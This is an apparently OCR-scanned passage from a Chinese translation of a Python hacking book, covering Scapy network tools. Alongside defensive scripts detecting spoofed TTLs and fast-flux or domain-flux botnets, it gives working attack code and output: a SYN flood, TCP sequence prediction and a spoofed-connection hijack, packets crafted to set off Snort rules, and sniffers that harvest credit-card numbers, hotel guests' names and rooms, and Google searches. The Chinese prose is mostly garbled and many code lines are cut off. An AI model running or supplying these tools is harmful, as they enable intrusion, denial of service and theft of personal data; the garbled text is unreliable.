def checkTTL(ipsrc, ttl):

if IPTEST(ipsrc).iptype() == 'PRIVATE':
return

if not ttlvalues.has_key(ipsrc):
pkt = sri(IP(dst=ipsrc) / ICMP(), retry=0, timeout=1, verbc
ttlvalues[ipsrc] = pkt.ttl

if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
print('\n[!] Detected Possible Spoofed Packet From: ' + ip¢
print('[!] TTL: " + ttl + ', Actual TTL: ' + str(ttlvalues]

def testTTL(pkt):

try:
if pkt.haslayer(IP):
ipsrc = pkt.getlayer(IP).src
ttl = str(pkt.ttl)
print('[+] Pkt Received From: '+ipsrc+' with TTL: ' +
except:
pass
def main():

parser = optparse.OptionParser("usage%prog -i<interface> -t <tt
parser.add_option('-i', dest='iface',6 type='string', help="'spec
parser.add_option('-t', dest="'thresh', type='int', help="'specit
(options, args) = parser.parse_args()

if options.iface == None:
conf.iface = 'etho'
else:
conf.iface = options.iface
if options.thresh != None:
THRESH = options.thresh
else:
THRESH = 5

sniff(prn=testTTL, store=0)

if __name__ == '__main__':
main()
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B BRINATHEAE o o > H A —BUnix T8 A5 A A TR ATTLME - L2 RNE L
7 A AR 6,69 A 44 Linux e

analyst# python spoofDetect.py -i eth® -t 5

[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!] TTL: 13, Actual TTL: 53

[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!] TTL: 13, Actual TTL: 53

[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!] TTL: 13, Actual TTL: 53

[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!] TTL: 13, Actual TTL: 53

<..SNIPPED. .>

Storm®FAST iL¥ ##Conficker®JDomain /i &

2007F » A RA R AN —FFH LR » G L 4L 1B E69Stormi& 7 M %48 H o &
AR A FastiAE > # FIDNSTE & [ 8% 4 4 I f1 4% %] Storm 18 P M % - DNSHIR %
R AR B IPHAEE) o SDNSRERE—ANERM > irds T TTTL £
IHAEZ AMERA K -

Stormi& P M &gk HE A T bl R % R MM S sk TDNSe & « T L »
A48 F 92000 % AN EAE T ES504NE RIBANMER T o A T b Fedidl T4 » &
H AL BIPHAE » ZAEDNSE DREMTTLE R o IPHILHFastii 4% 4
AR AR A INAL G A Fa k] 6918 P M % » £ 1L R 5 BB o

FastfR A Stormi& P M & & # Tk » EMOERRFRA THBRETRE SN E
K078 % 7 whE o Confickers® & & B A7 A .k ok I 691+ FALRE & » @it k&
Windows # SMB 13U R iRl k4535 o — Sk B3 » M535 69 EAEH B — Ao L And 4]
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analyst# nslookup whitehouse.com
Server: 192.168.1.1

Address: 192.168.1.1#53
Non-authoritative answer:

Name: whitehouse.com

Address: 74.117.114.119

Fl tcpdump #ENDSHAE » AT AF R E P 9% 192.168.13.37 KE T —4
DNS# K% 192.168.1.1 ° 4F 3| A& P 3n £ A& T DNSH i 12 % (DNSQR)# Klpv4
Hohk o R G5 3 o 5 38 e DNS i 7% 12 &k (DNSRR) - #2 #£IP 3k ©

analyst# tcpdump -i eth® -nn 'udp port 53'

07:45:46.529978 IP 192.168.13.37.52120 >192.168.1.1.53: 63962+ A?
whitehouse.com. (32)

07:45:46.533817 IP 192.168.1.1.53>192.168.13.37.52120: 63962 1/0/0

74.117.114.119 (48)

{ =l

1% Fl Scapy T DNS i =

% &A1 Scapy #FEDNSH LA K » &A1T AE 3] &4 & F— /AL ZHDNSQR
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analyst# scapy
Welcome to Scapy (2.0.1)

>>>1s(DNSQR)

gname : DNSStrField = (")
gtype : ShortEnumField = (1)
gclass : ShortEnumField = (1)
>>>15(DNSRR)

rrname : DNSStrField = (")
type : ShortEnumField = (1)
rclass : ShortEnumField = (1)
ttl : IntField = (0)
rdlen : RDLenField = (None)
rdata : RDataField = (")

B B 28 515 &R AMMIAR T — D9 M LR FRIF TR o 4R T —Ak
BISO#IE » 08T — MBI RFE D o RTUINT @M LT :
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HLERGEREOEPIAELTHANELIENEEIRFZLEREARE - AT EMNGE
8 0 L RAVBARRALEA — N F ML A E Q. fastFlux.pcap &4 T —&ira
Z M EINDSAE °

Jl Scapyt: M Fastifi €

1L &A% 5 Pythonly A& 14 1 pcap 7 247 BT A 8 €, -2 DNSRR&9 4K3E € Scapy
7% K > haslayer() REIFHLEBEA WA » FED— M RAE o 4o R 23E

6, 6,45 — /DNSRR » &A14 I 8,4 :1E IR LA |IPHA ) rname # rdata %
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BAVG TR o RAVARIIXNIRG 09 IPHAAE A 5 BATF MGG 3 B89 55—t

%o AR RE L AT RNVBREN G 68 PTH 693RE Fo ] X B89 KR 89 IP3
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from scapy.all import *
dnsRecords = {}
def handlePkt(pkt):
if pkt.haslayer (DNSRR):
rrname = pkt.getlayer (DNSRR).rrname
rdata = pkt.getlayer(DNSRR).rdata
if dnsRecords.has_key(rrname):
if rdata not in dnsRecords[rrname]:
dnsRecords[rrname].append(rdata)
else:
dnsRecords[rrname] = []
dnsRecords[rrname].append(rdata)
def main():
pkts = rdpcap('fastFlux.pcap')
for pkt in pkts:
handlePkt (pkt)
for item in dnsRecords:
print('[+] '+item+' has '+str(len(dnsRecords[item])) + ' ut
if __name__ == '__main__"':
main()
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analyst# python testFastFlux.py

[+] ibank-halifax.com. has 100,379 unique IPs.
[+] armsummer.com. has 14,233 unique IPs.

[+] boardhour.com. has 11,900 unique IPs.

[+] swimhad.com. has 11, 719 unique IPs.



J{| Scapy#: #Domainiii &

HFHT ko AV 9P Confickerss £ B 9L E o IRTIARLER B TS R F
THR-BEHEGOHERN - F % % =5 Mk 84 1 F #Confickerdti 3 o & T Conficker
2 A A Domainii® * RNV ELEFM G R 05 RI B4 9451213 B 09cA R o
] hg A 89 Conficker#E &2 4 & JUAPDNS © B A JUAIREG £ » A THREE LG
AIERIRE S o K% JADNSIR % 35 5k 2 05 304G 4% s B 52 69 3 hk 51 4 K A R 89 48 1%
#42 B 8988 o 1L &R ATA A INPT A 89 8.4 name-errordz & #9DNS & 5k 2410
Domainii & ° A T /53| 7 % 9 Confickers® 248 A it 693 % 7 & » RA1T AL
http://www.cert.at/downloads/data/conficker_en.html| # 2] o

from scapy.all import *
def dnsQRTest(pkt):
if pkt.haslayer (DNSRR) and pkt.getlayer(UDP).sport == 53:
rcode = pkt.getlayer(DNS).rcode
gname = pkt.getlayer (DNSQR).qgname
if rcode == 3:
print('[!] Name request lookup failed: ' + qgname)
return True
else:
return False
def main():
unAnsReqs = 0
pkts = rdpcap('domainFlux.pcap')
for pkt in pkts:
if dnsQRTest(pkt):
unAnsReqs = unAnsReqs + 1
print('[!] '+str(unAnsReqgs)+' Total Unanswered Name Requests')

if __name__ == '__main__':
main()
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analyst# python testDomainFlux.py

[!] Name request lookup failed: tkggvtqvj.org.
[!] Name request lookup failed: yqdgyntx.com.
[!] Name request lookup failed: uvcaylkgdpg.biz.
[!] Name request lookup failed: vzcocljtfi.biz.
[!] Name request lookup failed: wojpnhwk.cc.
[!] Name request lookup failed: plrjgcjzf.net.
[!] Name request lookup failed: gegiche.ws.

[!'] Name request lookup failed: ylktrupygmp.cc.
[!] Name request lookup failed: ovdbkbangw.com.
<..SNIPPED. .>

[!] 250 Total Unanswered Name Requests
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14:18:22.516699 130.92.6.97.600 > server.login: S
1382726960:1382726960(0) win 4096

14:18:22.566069 130.92.6.97.601 > server.login: S
1382726961:1382726961(0) win 4096

14:18:22.744477 130.92.6.97.602 > server.login: S
1382726962:1382726962(0) win 4096

14:18:22.830111 130.92.6.97.603 > server.login: S
1382726963:1382726963(0) win 4096

14:18:22.886128 130.92.6.97.604 > server.login: S
1382726964:1382726964(0) win 4096

14:18:22.943514 130.92.6.97.605 > server.login: S
1382726965:1382726965(0) win 4096

<..SNIPPED. .?
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from scapy.all import *

def synFlood(src, tgt):
for sport in range(1024, 65535):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=sport, dport=513)
pkt = IPlayer / TCPlayer
send(pkt)

src = "10.1.1.2"
tgt = "192.168.1.3"
synFlood(src, tgt)

BATH R ETCP SYN#IE 46K B Ar ALK R » 3L € o & IT] > AR B
R ZTCP £ E afgred o

mitnick# python synFlood.py

éent 1 packets.

éent 1 packets.

éent 1 packets.

éent 1 packets.

<..SNIPPED. .>
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5 . 2022080000, 2022208000, 2022336000, 2022464000 oéiﬁ\ﬁgﬁiﬁﬂié
128000 ° z\u:fr;a?iﬁﬁ BTCPHF 75 & s o (& ° K% BIARGEELLS
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14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S
1382726992:1382726992(0) win 4096

14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S
2022080000:2022080000(0) ack 1382726993 win 4096
14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R
1382726993:1382726993(0) win 0O

14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S
1382726993:1382726993(0) win 4096

14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S
2022208000:2022208000(0) ack 1382726994 win 4096
14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R
1382726994:1382726994(0) win 0

14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S
1382726994:1382726994(0) win 4096

14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S
2022336000:2022336000(0) ack 1382726995 win 4096
14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R
1382726995:1382726995(0) win 0O

14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S
1382726995:1382726995(0) win 4096

14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S
2022464000:2022464000(0) ack 1382726996 win 4096
14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R
1382726996:1382726996(0) win 0O

<..SNIPPED. .>
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from scapy.all import *
def calTSN(tgt):
seqNum = 0
preNum 0]
diffSeq =
for x in range(1, 5):
if preNum != O:
preNum = segNum
pkt = IP(dst=tgt) / TCP()
ans = sril(pkt, verbose=0)
segNum = ans.getlayer(TCP).seq
diffSeq = segNum - preNum
print '[+] TCP Seq Difference: ' + str(diffSeq)
return segNum + diffSeq

tgt = "192.168.1.106"
segNum = calTSN(tgt)
print "[+] Next TCP Sequence Number to ACK is: "+str(segNum+1)

BATHEA R KFE— MG B AR > BANTTRXERITCP A 7| 5 6 ALt & R 5 1
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mitnick# python calculateTSN.py

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] Next TCP Sequence Number to ACK is: 2024371201

HIRTCP& &

ﬁ?ﬁaﬁéﬁTCP Pl hEF > RBFRLTUAKET « KBFRAIBNGF 5
& 2024371200 °* KA ILSYNIE 9150/ SYN#IE L X # KA kiid o &
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A& 2024371201 H B 8JACKEIE @ » RAC B E S TEAMIGEYE o

14:18:36.245045 server.login > x-terminal.shell: S
1382727010:1382727010(0) win 4096

14:18:36.755522 server.login > x-terminal.shell: .ack2024384001 wit
4096

J =
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from scapy.all import *
def spoofConn(src, tgt, ack):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514)
synPkt = IPlayer / TCPlayer
send(synPkt)
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514, ack=ack)
ackPkt = IPlayer / TCPlayer
send(ackPkt)

src = "10.1.1.2"

tgt = "192.168.1.106"
segNum = 2024371201
spoofConn(src, tgt, seqNum)

B4 AR KA o —AL 0 RAVE I e — e A ITH AN I8 T B Ik 09 e
B BARRE R > eI 69448 LSYN#E KL & o

# coding=UTF-8
import optparse
from scapy.all import *

#SYN 3t K3
def synFlood(src, tgt):
for sport in range(1024, 65535):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=sport, dport=513)
pkt = IPlayer / TCPlayer
send(pkt)
#HMTCPA 7|5
def calTSN(tgt):
segNum = O
preNum = 0
diffSeq =
for x in range(1, 5):
if preNum != 0:
preNum = seqNum
pkt = IP(dst=tgt) / TCP()
ans = sril(pkt, verbose=0)
segNum = ans.getlayer(TCP).seq
diffSeq = segNum - preNum
print '[+] TCP Seq Difference: ' + str(diffSeq)
return segNum + diffSeq
#E EACK K IR &,



def spoofConn(src, tgt, ack):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514)
synPkt = IPlayer / TCPlayer
send(synPkt)
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514, ack=ack)
ackPkt = IPlayer / TCPlayer
send(ackPkt)
def main():
parser = optparse.OptionParser('usage%prog -s<src for SYN Floot
parser.add_option('-s', dest='synSpoof', type='string', help="¢
parser.add_option('-S', dest='srcSpoof', type='string', help="¢
parser.add_option('-t', dest='tgt', type='string', help='specii
(options, args) = parser.parse_args()
if options.synSpoof == None or options.srcSpoof == None or opt:
print(parser.usage)
exit(0)
else:
synSpoof = options.synSpoof
srcSpoof = options.srcSpoof
tgt = options.tgt
print('[+] Starting SYN Flood to suppress remote server.')
synFlood(synSpoof, srcSpoof)
print('[+] Calculating correct TCP Sequence Number.')
segNum = calTSN(tgt) + 1
print('[+] Spoofing Connection.')
spoofConn(srcSpoof, tgt, seqgNum)
print('[+] Done."')

if __name__ == '_main__':
main()

j - 2]
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mitnick# python tcpHijack.py -s 10.1.1.2 -S 192.168.1.2 -t 192.168
[+] Starting SYN Flood to suppress remote server.

Sent 1 packets.
Sent 1 packets.

Sent 1 packets.

<..SNIPPED. .>

[+] Calculating correct TCP Sequence Number.
[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] Spoofing Connection.

Sent 1 packets.

Sent 1 packets.
[+] Done.
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victim# cat /etc/snort/rules/ddos.rules

<..SNIPPED. .>

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS TFN Probe'
icmp_1id:678; itype:8; content:"1234"; reference:arachnids, 443;
classtype:attempted-recon; sid:221; rev:4;)

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmy
possible communication"; icmp_id:0; itype:0; content:"AAAAAAAAAA";
reference:arachnids, 425; classtype:attempted-dos; sid:222; rev:2;)
alert udp SEXTERNAL_NET any -> $HOME_NET 31335 (msg:"DDOS Trin00
Daemon to Master PONG message detected"; content:"PONG";
reference:arachnids, 187; classtype:attempted-recon; sid:223; rev:3,
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS

TFN client command BE"; icmp_id:456; icmp_seq:0; itype:0;
reference:arachnids, 184; classtype:attempted-dos; sid:228; rev:3;)
<...SNIPPED...>

{ S
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from scapy.all import *

def ddosTest(src, dst, iface, count):
pkt=IP(src=src,dst=dst)/ICMP(type=8,1d=678)/Raw(load="'1234")
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load="'AAAAAAAAAA")
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load="PONG")
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/ICMP(type=0,1d=456)
send(pkt, iface=iface, count=count)

src="1.3.3.7"
dst="192.168.1.106"
iface="etho"

count=1
ddosTest(src,dst, iface, count)
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attacker# python idsFoil.py
Sent 1 packets.

.Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

#ESnorttg £ R E > KNZIBRN RS T | FIA @ASRIE &4 & 69 22 A IDS
AU H o

victim# snort -gq -A console -i eth® -c /etc/snort/snort.conf
03/14-07:32:52.034213 [**] [1:221:4] DDOS TFN Probe [**]
[Classification: Attempted Information Leak] [Priority: 2] {ICMP}
1.3.3.7 -> 192.168.1.106

03/14-07:32:52.037921 [**] [1:222:2] DDOS tfn2k icmp possible
communication [**] [Classification: Attempted Denial of Service]
[Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106
03/14-07:32:52.042364 [**] [1:223:3] DDOS Trin@@ Daemon to Master |
message detected [**] [Classification: Attempted Information Leak]
[Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335
03/14-07:32:52.044445 [**] [1:228:3] DDOS TFN client command BE [*
[Classification: Attempted

{ S—
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alert udp $EXTERNAL_NET any -> $HOME_NET 518 (msg:"EXPLOIT ntalkd @
Linux overflow"; content:"|01 03 00 00 00 00 00 01 0O 02 02 E8|";
reference:bugtraqg, 210; classtype:attempted-admin; sid:313;

rev:4;)

alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Lint
mountd overflow"; content:"A|BO 02 89 06 FE C8 89|F|04 BO 06 89|F"
reference:bugtraqg,121; reference:cve,1999-0002; classtype
rattempted-admin; sid:315; rev:6;)

J =
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def exploitTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP(dport=518) /Raw(load="\x01\x0:
send(pkt, iface=iface, count=count)
pkt = IP(src=src, dst=dst) / UDP(dport=635) /Raw(load="A\XxBO\X(
send(pkt, iface=iface, count=count)

{ — >
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alert udp $EXTERNAL_NET any -> $HOME_NET 7 (msg:"SCAN cybercop udp
bomb"; content:'"cybercop"; reference:arachnids,363; classtype:bad-
unknown; sid:636; rev:1;)

alert udp $EXTERNAL_NET any -> $HOME_NET 10080:10081 (msg:'"SCAN Am:
client version request"; content:"Amanda'"; nocase; classtype:attemy
recon; sid:634; rev:2;)

{ S— s
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def scanTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP(dport=7) /Raw(load='cybercop"'
send(pkt)
pkt = IP(src=src, dst=dst) / UDP(dport=10080) /Raw(load='Amand:
send(pkt, iface=iface, count=count)
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# coding=UTF-8

import optparse

from scapy.all import *
from random import randint

def ddosTest(src, dst, iface, count):
pkt=IP(src=src,dst=dst)/ICMP(type=8,1d=678)/Raw(load="'1234")
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load="'AAAAAAAAAA")
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load="PONG")



send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/ICMP(type=0,1id=456)
send(pkt, iface=iface, count=count)

def exploitTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP(dport=518) /Raw(load="\x01\x0:
send(pkt, iface=iface, count=count)
pkt = IP(src=src, dst=dst) / UDP(dport=635) /Raw(load="A\xBO\Xx(
send(pkt, iface=iface, count=count)

def scanTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP(dport=7) /Raw(load='cybercop"'
send(pkt)
pkt = IP(src=src, dst=dst) / UDP(dport=10080) /Raw(load='Amand:
send(pkt, iface=iface, count=count)

def main():
parser = optparse.OptionParser('usage%prog -i<iface> -s <src> -
parser.add_option('-1i', dest='iface', type='string', help="spec
parser.add_option('-s', dest='src', type='string', help='specii
parser.add_option('-t', dest='tgt', type='string', help='specit
parser.add_option('-c', dest='count', type='int', help='specify
(options, args) = parser.parse_args()

if options.iface == None:
iface = 'etho'

else:
iface = options.iface

if options.src == None:
src = '.'.join([str(randint(1,254)) for x in range(4)])

else:
src = options.src

if options.tgt == None:
print(parser.usage)
exit(0)

else:
dst = options.tgt

if options.count == None:
count = 1

else:

count = options.count
ddosTest(src, dst, iface, count)
exploitTest(src, dst, iface, count)
scanTest(src, dst, iface, count)

if __name__ == '__main__':
main()
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attacker# python idsFoil.py -i eth® -s 1.3.3.7 -t 192.168.1.106 -c
Sent 1 packets.

Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.

S

SHIDSH B E s RINVABCRBEFIEFHTANEL L o BT | RNHITELE
IHET » AR

1

victim# snort -gq -A console -i eth® -c /etc/snort/snort.conf

03/14-11:45:01.060632 [**] [1:222:2] DDOS tfn2k icmp possible
communication [**] [Classification: Attempted Denial of Service
[Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106

03/14-11:45:01.066621 [**] [1:223:3] DDOS Trin@@ Daemon to Master |
message detected [**] [Classification: Attempted Information Le¢
[Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335

03/14-11:45:01.069044 [**] [1:228:3] DDOS TFN client command BE [*
[Classification: Attempted Denial of Service] [Priority: 2] {I(
1.3.3.7 -> 192.168.1.106

03/14-11:45:01.071205 [**] [1:313:4] EXPLOIT ntalkd x86 Linux overt
[**] [Classification: Attempted Administrator Privilege Gain]
[Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:518

03/14-11:45:01.076879 [**] [1:315:6] EXPLOIT x86 Linux mountd overt
[**] [Classification: Attempted Administrator Privilege Gain]
[Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:635

03/14-11:45:01.079864 [**] [1:636:1] SCAN cybercop udp bomb [**]
[Classification: Potentially Bad Traffic] [Priority: 2] {UDP}
1.3.3.7:53 -> 192.168.1.106:7

03/14-11:45:01.082434 [**] [1:634:2] SCAN Amanda client version rec
[**] [Classification: Attempted Information Leak] [Priority: 2

{UDP} 1.3.3.7:53 -> 192.168.1.106:10080
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attacker# iwconfig wlan@
wlan® IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
attacker# airmon-ng start wlan0
Interface Chipset Driver
wlan0® Ralink RT2870/3070 rt2800usb - [phy0]
(monitor mode enabled on monO)

TERAT MR » RN TURMBELEAMBATEBEM FTREARLENZE &
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from scapy.all import *

def pktPrint(pkt):
if pkt.haslayer(Dot11Beacon):
print('[+] Detected 802.11 Beacon Frame')
elif pkt.haslayer(Dotl1lProbeReq):
print('[+] Detected 802.11 Probe Request Frame')
elif pkt.haslayer(TCP):
print('[+] Detected a TCP Packet')
elif pkt.haslayer (DNS):
print('[+] Detected a DNS Packet')
conf.iface = 'mon@'
sniff(prn=pktPrint)
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attacker# sudo apt-get install python-bluez bluetooth python-obexft
Reading package lists... Done

Building dependency tree

Reading state information... Done

<..SNIPPED. .>

Unpacking bluetooth (from .../bluetooth_4.60-0ubuntu8_all.deb)
Selecting previously deselected package python-bluez.

Unpacking python-bluez (from .../python-bluez_0.18-1_amd64.deb)
Setting up bluetooth (4.60-0ubuntu8)

Setting up python-bluez (0.18-1)

Processing triggers for python-central .
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attacker# hciconfig

hci®: Type: BR/EDR Bus: USB
BD Address: 00:40:12:01:01:00 ACL MTU: 8192:128
UP RUNNING PSCAN
RX bytes:801 acl:0 sco:0 events:32 errors:0

TX bytes:400 acl:0 sco:0 commands:32 errors:0
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import re
def findCreditCard(raw):
americaRE= re.findall("3[47][0-9]{13}", raw)
if americaRE:
print("[+] Found American Express Card: "+americaRE[Q])

def main():
tests = []
tests.append('I would like to buy 1337 copies of that dvd')
tests.append('Bill my card: 378282246310005 for \$2600')
for test in tests:
findCreditCard(test)
if __name__ == "_main__":
main()
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attacher$ python americanExpressTest.py
[+] Found American Express Card: 378282246310005
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def findCreditCard(pkt):
raw = pkt.sprintf('%Raw.load%")
americaRE = re.findall('3[47][0-9]{13}', raw)
masterRE = re.findall('5[1-5][0-9]{14}', raw)
visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)
if americaRE:
print('[+] Found American Express Card: ' + americaRE[0])
if masterRE:
print('[+] Found MasterCard Card: ' + masterRE[0O])
if visaRE:
print('[+] Found Visa Card: ' + visaRE[0])
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# coding=UTF-8

import re

import optparse

from scapy.all import *

def findCreditCard(pkt):
raw = pkt.sprintf('%Raw.load%")
americaRE = re.findall('3[47][0-9]{13}', raw)
masterRE = re.findall('5[1-5][0-9]{14}', raw)
visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)
if americaRE:
print('[+] Found American Express Card: ' + americaRE[0])
if masterRE:
print('[+] Found MasterCard Card: ' + masterRE[0])
if visaRE:
print('[+] Found Visa Card: ' + visaRE[0Q])

def main():
parser = optparse.OptionParser('usage % prog -i<interface>")
parser.add_option('-1i', dest='interface', type='string', help=
(options, args) = parser.parse_args()
if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface
try:
print('[*] Starting Credit Card Sniffer.')
sniff(filter="tcp', prn=findCreditCard, store=0)
except KeyboardInterrupt:
exit(0)
if __name___ == '_ _main__
main()

j E— 2

SR BN AT HE ZBAETAGE A F43E - ?%L’L4ﬁ%%£%¥41hﬁ
X T20F c B RFAEZHRERD) ZA R FAT IR EZA —FRAAGIRRE L
T—%F > KNBEFT—DMERGEF = RINBEXE—NTAWEH L AN % H Aﬂﬂ
ﬁl‘/\/fg BN °

kyﬁm%&ﬁ&%%i%ﬂ% X M ) 48 R R e B AL b 2 AEAT A A B R E
I B AEH $Ph%m,&ﬁwmmﬁﬂméﬁkﬂmﬁ4H% S BR A AG
A@M&%°ﬁﬁ’&%ﬁ*%kﬁi%ﬁ&%mﬁﬁék ﬁﬁ&ﬁ%iﬂ%(
Ja o RO RERBG—AM A ZRBEHEZANAMEG o M %HE B R G  Fn 5 1)
5 B EE &%mﬁ%&ﬁT”AiMA%HﬂP\@k@ﬁmkm%x
NIEcookie © B ERX AN L HHTTPRE » 27T — R ABRYGEF o



REZD —NFH

¥ PROVIDED_LAST_NAME=0CONNOR&PROVIDED_ ROOM_NUMBER=1337 ° Pf U4% %3]
RAEIR G B0 Q5RO LFE 8 T o RERBEZARBARY ZEZE > K93 K
BREYRFILERNIZE o X TRIAMFHROBE » BPOELI5R5HA %
BB BREREEEZYEAS  FTAMRTUBIBE G R P B ZEFR 4189
FAAAT B o

POST /common_ip_cgi/hn_seachange.cgi HTTP/1.1

Host: 10.10.13.37

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_7_1)
ApplewWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48
Content-Length: 128

Accept: text/html,application/xhtml+xml, application/
xml;g=0.9,*/*;0=0.8

Origin:http://10.10.10.1

DNT: 1

Referer:http://10.10.10.1/common_ip_cgi/hn_seachange.cgi
Content-Type: application/x-www-form-urlencoded

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Connection: keep-alive

SESSION_ID= deadbeef123456789abcdef1234567890 &amp; RETURN_
MODE=4&amp; VALIDATION_FLAG=1&amp; PROVIDED_LAST_NAME=0CONNOR&amp; PR(
NUMBER=1337
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A findGuest() °

conf.iface = "mono"
try:
print "[*] Starting Hotel Guest Sniffer."
sniff(filter="tcp", prn=findGuest, store=0)
except KeyboardInterrupt:
exit(0)
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def findGuest(pkt):

J

raw = pkt.sprintf("%Raw.load%")
name=re.findall(" (?1)LAST_NAME=(.*)&amp;", raw)
room=re.findall("(?1)ROOM_NUMBER=(.*)"'",6 raw)
if name:
print("[+] Found Hotel Guest "+str(name[@]) + ", Room #" +
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# coding=UTF-8
import optparse
from scapy.all import *

def findGuest(pkt):

def

raw = pkt.sprintf("%Raw.load%")
name=re.findall(" (?1i)LAST_NAME=(.*)&amp;", raw)
room=re.findall(" (?1i)ROOM_NUMBER=(.*)'", raw)
if name:

print("[+] Found Hotel Guest "+str(name[@]) + ", Room #" +

main():
parser = optparse.OptionParser('usage %prog -i<interface>"')
parser.add_option('-i', dest='interface', type='string', help=
(options, args) = parser.parse_args()
if options.interface == None:
print(parser.usage)
exit(0)
else:
conf.iface = options.interface
try:

print('[*] Starting Hotel Guest Sniffer.')

sniff(filter="tcp', prn=findGuest, store=0)
except KeyboardInterrupt:

exit(0)

if __name__ == '_ _main__"':

1

main()
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attacker# python hotelSniff.py -i wlan®

[*]
[+]
[+]
[+]

Starting Hotel Guest Sniffer.

Found Hotel Guest MOORE, Room #1337

Found Hotel Guest VASKOVICH, Room #1984
Found Hotel Guest BAGGETT, Room #43434343
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¥ "what is the meaning of life?" B » FiE& » ¥R q= KOFH B
o REVL & R pog= RA VAR K o

GET
/s?hl=en&amp;cp=27&amp; gs_id=58&amp; xhr=t&amp; g=what%20is%20the%20r
Host: www.google.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_7_2)
AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1
Safari/534.51.22

<..SNIPPED. .>

g= Query, what was typed in the search box

pg= Previous query, the query prior to the current sear«

hl= Language, default en[glish] defaults, but try xx-he

as_epqg= Exact phrase

as_filetype= File format, restrict to a specific file type suc

as_sitesearch= Restrict to a specific site such as www.2600.com
| . o]
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def findGoogle(pkt):
if pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
if 'GET' in payload:
if 'google' in payload:
r = re.findall(r'(?i)\&amp;q=(.*?)\&amp; "', payload
if r:
search = r[0].split('&amp;')[0]
search = search.replace('q=', '').replace('+',
print('[+] Searched For: ' + search)
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# coding=UTF-8
import optparse
from scapy.all import *

def findGoogle(pkt):
if pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
if '"GET' in payload:
if 'google' in payload:
r = re.findall(r'(?i)\&amp;q=(.*?)\&amp; "', payload

if r:
search = r[0].split('&amp;')[0]
search = search.replace('q=', '').replace('+',
print('[+] Searched For: ' + search)

def main():
parser = optparse.OptionParser('usage %prog -i <interface>')
parser.add_option('-1i', dest='interface', type='string', help=
(options, args) = parser.parse_args()
if options.interface == None:
print parser.usage
exit(0)
else:
try:
conf.iface = options.interface
print('[*] Starting Google Sniffer.')
sniff(filter="tcp port 80', prn=findGoogle)
except KeyboardInterrupt:
exit(0)

if __name__ == '_ main__':
main()
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attacker# python googleSniff.py -i mon®
[*] Starting Google Sniffer.

[+] W

[+] wWhat

[+] What is

[+] What is the mean

[+] What is the meaning of life?

Google URL# ‘& % 4

Google URL#¥ & A4 24 7T & % AN 48149
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attacker# tcpdump -A -i mon@ 'tcp port 21'
E..(..0.@Q.9..._...vvvvv... R.=.|.P.9.....

